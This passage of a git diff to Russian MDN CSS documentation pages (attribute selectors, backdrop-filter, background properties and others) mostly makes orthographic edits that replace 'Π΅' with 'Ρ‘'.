+ <li>{{cssxref("@counter-style")}} β€” ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅Β counter-styles, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½Π°Π±ΠΎΡ€Π° стилСй.</li>
<li>{{cssxref("@font-feature-values")}} (плюс <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> и <code>@character-variant</code>)<br>
β€” ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π° Π² {{cssxref("font-option-alternates")}} для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ активируСтся Π² OpenType <em>(at the Candidate Recommendation stage, but only implemented in Gecko as of writing)</em></li>
</ul>
@@ -45,7 +45,7 @@ translation_of: Web/CSS/At-rule
<li>{{cssxref("@document")}}. <em>(deferred to Level 4 of CSS Spec) </em></li>
</ul>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ каТдая условная Π³Ρ€ΡƒΠΏΠΏΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ количСство Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ каТдая условная Π³Ρ€ΡƒΠΏΠΏΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство Π²Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
<h2 id="Π₯арактСристики">Π₯арактСристики</h2>
diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html
index 2b8ac3861c..f2affc9d98 100644
--- a/files/ru/web/css/attribute_selectors/index.html
+++ b/files/ru/web/css/attribute_selectors/index.html
@@ -15,15 +15,15 @@ translation_of: Web/CSS/Attribute_selectors
<dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
<dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π² точности ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΌ с value.</dd>
<dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
- <dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся Π½Π°Π±ΠΎΡ€ слов Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π² точности Ρ€Π°Π²Π½ΠΎ value</dd>
+ <dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся Π½Π°Π±ΠΎΡ€ слов Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π² точности Ρ€Π°Π²Π½ΠΎ value</dd>
<dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
<dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr. Π•Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ этом ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ»ΠΈ Π² точности Ρ€Π°Π²Π½ΠΎ "value" ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с "value" со сразу ΠΆΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ "-" (U+002D). Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано ΠΊΠΎΠ³Π΄Π° язык описываСтся с ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠΌ.</dd>
<dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
<dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ начинаСтся с "value"</dd>
<dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
- <dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Ρ‡ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ заканчиваСтся Π½Π° "value"</dd>
+ <dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Ρ‡ΡŒΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ заканчиваСтся Π½Π° "value"</dd>
<dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
- <dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Ρ‡ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ содСрТит ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΠΎΠ΄Π½ΠΎ Π²Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ строки "value" ΠΊΠ°ΠΊ подстроки.</dd>
+ <dd>ΠžΠ±ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ элСмСнт с ΠΈΠΌΠ΅Π½Π΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° attr Ρ‡ΡŒΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ содСрТит ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΠΎΠ΄Π½ΠΎ Π²Ρ…ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ строки "value" ΠΊΠ°ΠΊ подстроки.</dd>
</dl>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -31,13 +31,13 @@ translation_of: Web/CSS/Attribute_selectors
<pre class="brush: css">/* ВсС span с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ "lang" Π±ΡƒΠ΄ΡƒΡ‚ ΠΆΠΈΡ€Π½Ρ‹ΠΌΠΈ */
span[lang] {font-weight:bold;}
-/* ВсС span Π² ΠŸΠΎΡ€Ρ‚ΡƒΠ³Π°Π»ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π΅Π»Π΅Π½Ρ‹ΠΌΠΈ */
+/* ВсС span Π² ΠŸΠΎΡ€Ρ‚ΡƒΠ³Π°Π»ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ */
span[lang="pt"] {color:green;}
/* ВсС span с амСриканским английским Π±ΡƒΠ΄ΡƒΡ‚ синими */
span[lang~="en-us"] {color: blue;}
-/* Π›ΡŽΠ±Ρ‹Π΅ span Π½Π° китайском языкС Π±ΡƒΠ΄ΡƒΡ‚ красными, ΠΊΠ°ΠΊ Π½Π° ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½ΠΎΠΌ китайском (zh-CN) Ρ‚Π°ΠΊ ΠΈ Π½Π° Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎΠΌ (zh-TW) */
+/* Π›ΡŽΠ±Ρ‹Π΅ span Π½Π° китайском языкС Π±ΡƒΠ΄ΡƒΡ‚ красными, ΠΊΠ°ΠΊ Π½Π° ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½ΠΎΠΌ китайском (zh-CN) Ρ‚Π°ΠΊ ΠΈ Π½Π° Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½ΠΎΠΌ (zh-TW) */
span[lang|="zh"] {color: red;}
/* ВсС Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ссылки Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·ΠΎΠ»ΠΎΡ‚ΠΎΠΉ Ρ„ΠΎΠ½ */
diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html
index b971c15abd..48b9e9cc09 100644
--- a/files/ru/web/css/backdrop-filter/index.html
+++ b/files/ru/web/css/backdrop-filter/index.html
@@ -41,9 +41,9 @@ translation_of: Web/CSS/backdrop-filter
<dl>
<dt><code>none</code></dt>
- <dd>Π€ΠΈΠ»ΡŒΡ‚Ρ€ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ для Ρ„ΠΎΠ½Π°</dd>
+ <dd>Π€ΠΈΠ»ΡŒΡ‚Ρ€ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ для Ρ„ΠΎΠ½Π°</dd>
<dt><code>&lt;filter-function-list&gt;</code></dt>
- <dd>ΠŸΠ΅Ρ€Π΅Ρ‡Π΅Π½ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{cssxref("&lt;filter-function&gt;")}} ΠΈΠ»ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ для Ρ„ΠΎΠ½Π°.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅Ρ‡Π΅Π½ΡŒ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{cssxref("&lt;filter-function&gt;")}} ΠΈΠ»ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">SVG Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ для Ρ„ΠΎΠ½Π°.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html
index f6bf261e3b..870c9de709 100644
--- a/files/ru/web/css/backface-visibility/index.html
+++ b/files/ru/web/css/backface-visibility/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/backface-visibility
---
<div>{{CSSRef}}{{SeeCompatTable}}</div>
-<p>Бвойство <strong><code>backface-visibility</code></strong> опрСдСляСт, Π²ΠΈΠ΄Π½ΠΎ Π»ΠΈ заднюю Π³Ρ€Π°Π½ΡŒ элСмСнта, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚ ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
+<p>Бвойство <strong><code>backface-visibility</code></strong> опрСдСляСт, Π²ΠΈΠ΄Π½ΠΎ Π»ΠΈ заднюю Π³Ρ€Π°Π½ΡŒ элСмСнта, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ ΠΏΠΎΠ²Ρ‘Ρ€Π½ΡƒΡ‚ ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
<div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div>
@@ -30,9 +30,9 @@ backface-visibility: unset;</pre>
<dl>
<dt><code>visible</code></dt>
- <dd>Задняя сторона Π²ΠΈΠ΄Π½Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚Π° ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</dd>
+ <dd>Задняя сторона Π²ΠΈΠ΄Π½Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ²Ρ‘Ρ€Π½ΡƒΡ‚Π° ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</dd>
<dt><code>hidden</code></dt>
- <dd>Задняя ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ скрыта, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ элСмСнт Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ ΠΏΠΎΠ²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
+ <dd>Задняя ΠΏΠΎΠ²Π΅Ρ€Ρ…Π½ΠΎΡΡ‚ΡŒ скрыта, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ элСмСнт Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ ΠΏΠΎΠ²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</dd>
</dl>
<h3 id="ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html
index c88a2fc71d..d16e4fe743 100644
--- a/files/ru/web/css/background-attachment/index.html
+++ b/files/ru/web/css/background-attachment/index.html
@@ -28,7 +28,7 @@ background-attachment: inherit;
background-attachment: initial;
background-attachment: unset;</pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>background-attachment</code> задаСтся одним ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ· списка Π½ΠΈΠΆΠ΅.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>background-attachment</code> задаётся одним ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈΠ· списка Π½ΠΈΠΆΠ΅.</p>
<h3 id="ЗначСния">ЗначСния</h3>
@@ -38,7 +38,7 @@ background-attachment: unset;</pre>
<dt><code>local</code></dt>
<dd>Π€ΠΎΠ½ фиксируСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΡΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ³ΠΎ элСмСнта. Если элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Ρ„ΠΎΠ½ прокручиваСтся с содСрТимым элСмСнта, ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ рисования Ρ„ΠΎΠ½Π° ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ позиционирования Ρ„ΠΎΠ½Π° относятся ΠΊ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠΉ области элСмСнта, Π° Π½Π΅ ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Π΅, ΠΎΠ±Ρ€Π°ΠΌΠ»ΡΡŽΡ‰Π΅ΠΉ ΠΈΡ….</dd>
<dt><code>scroll</code></dt>
- <dd>Π€ΠΎΠ½ фиксируСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ самого элСмСнта ΠΈ Π½Π΅ прокручиваСтся с Π΅Π³ΠΎ содСрТимым. (Он фактичСски ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Π΅ элСмСнта.)</dd>
+ <dd>Π€ΠΎΠ½ фиксируСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ самого элСмСнта ΠΈ Π½Π΅ прокручиваСтся с Π΅Π³ΠΎ содСрТимым. (Он фактичСски ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½ ΠΊ Π³Ρ€Π°Π½ΠΈΡ†Π΅ элСмСнта.)</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
@@ -72,7 +72,7 @@ background-attachment: unset;</pre>
<h3 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…_Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ…_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h3>
-<p>Π­Ρ‚ΠΎ свойство ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ нСсколько Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ <code>&lt;attachment&gt;</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„ΠΎΠ½Π°, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми. КаТдоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ сопоставляСтся с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ‚ΠΈΠΏΠΎΠΌ влоТСния, ΠΎΡ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎ послСднСго.</p>
+<p>Π­Ρ‚ΠΎ свойство ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ нСсколько Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ <code>&lt;attachment&gt;</code> для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„ΠΎΠ½Π°, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми. КаТдоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ сопоставляСтся с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ‚ΠΈΠΏΠΎΠΌ влоТСния, ΠΎΡ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π΄ΠΎ послСднСго.</p>
<h4 id="HTML_2">HTML</h4>
@@ -118,7 +118,7 @@ background-attachment: unset;</pre>
<tr>
<td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td>
<td>{{Spec2('CSS3 Backgrounds')}}</td>
- <td>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ свойство Π±Ρ‹Π»ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΠ½ΠΎΠ² ΠΈ значСния <code>local</code>.</td>
+ <td>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ свойство Π±Ρ‹Π»ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΠ½ΠΎΠ² ΠΈ значСния <code>local</code>.</td>
</tr>
<tr>
<td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td>
diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html
index e55a99aa83..405a76ed14 100644
--- a/files/ru/web/css/background-blend-mode/index.html
+++ b/files/ru/web/css/background-blend-mode/index.html
@@ -29,7 +29,7 @@ background-blend-mode: unset;
<dl>
<dt><code>&lt;blend-mode&gt;</code></dt>
- <dd>{{cssxref("&lt;blend-mode&gt;")}} ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ налоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми.</dd>
+ <dd>{{cssxref("&lt;blend-mode&gt;")}} ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Ρ€Π΅ΠΆΠΈΠΌ налоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½. ΠœΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми.</dd>
</dl>
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html
index ddc05598eb..7c7f5bc3dc 100644
--- a/files/ru/web/css/background-clip/index.html
+++ b/files/ru/web/css/background-clip/index.html
@@ -112,7 +112,7 @@ background-clip: unset;</code></pre>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
- <li>Бвойство {{cssxref("clip-path")}} создаСт ΠΎΠ±Π»Π°ΡΡ‚ΡŒ отсСчСния, которая опрСдСляСт, которая опрСдСляСт, какая Ρ‡Π°ΡΡ‚ΡŒ Ρ†Π΅Π»ΠΎΠ³ΠΎ элСмСнта Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ.</li>
+ <li>Бвойство {{cssxref("clip-path")}} создаёт ΠΎΠ±Π»Π°ΡΡ‚ΡŒ отсСчСния, которая опрСдСляСт, которая опрСдСляСт, какая Ρ‡Π°ΡΡ‚ΡŒ Ρ†Π΅Π»ΠΎΠ³ΠΎ элСмСнта Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ.</li>
<li>Бвойства Ρ„ΠΎΠ½Π°: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box_model">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Π±Π»ΠΎΡ‡Π½ΡƒΡŽ модСль CSS</a></li>
</ul>
diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html
index 095ff8ee1e..cdcf7b8c79 100644
--- a/files/ru/web/css/background-image/index.html
+++ b/files/ru/web/css/background-image/index.html
@@ -14,9 +14,9 @@ translation_of: Web/CSS/background-image
